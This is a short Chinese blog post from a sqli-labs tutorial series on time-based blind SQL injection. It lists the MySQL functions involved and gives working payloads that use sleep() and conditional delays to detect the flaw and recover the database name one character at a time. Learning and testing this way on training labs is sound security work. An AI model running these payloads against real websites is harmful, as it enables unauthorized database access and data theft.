時間盲注
阿新 • • 發佈:2021-02-14
前幾篇sql注入文章
sqli-labs Less-1(聯合注入、字元型注入)
sqli-labs Less-2(聯合注入、整形型注入)
sqli-labs Less-3(聯合注入、字元型注入)
sqli-labs Less-4(聯合注入、字元型注入)
sqli-labs Less-5(利用extractvalue進行報錯注入)
sqli-labs Less-5(雙注入)
sqli-labs Less-5(布林盲注)
時間盲注常用函式
sleep() //延遲函式
if(condition,true,false) //條件語句
ascii() //轉換成ascii碼
substring("string",strart,length) //mid()也一樣,取出字串裡的第幾位開始,長度多少的字元
1、判斷是否存在延時注入
payload
?id=1" and sleep(5)--+
當頁面延時返回時,代表存在時間盲注。
2、判斷當前資料庫名
payload
?id=1" and if(substr(database(),1,1)>'a',sleep(5),1)--+
?id=1" and if(ascii(substr(database(),1,1))>97,sleep(5),1)--+
接著利用二分法判斷出資料庫名。
主要方法與布林盲注類似。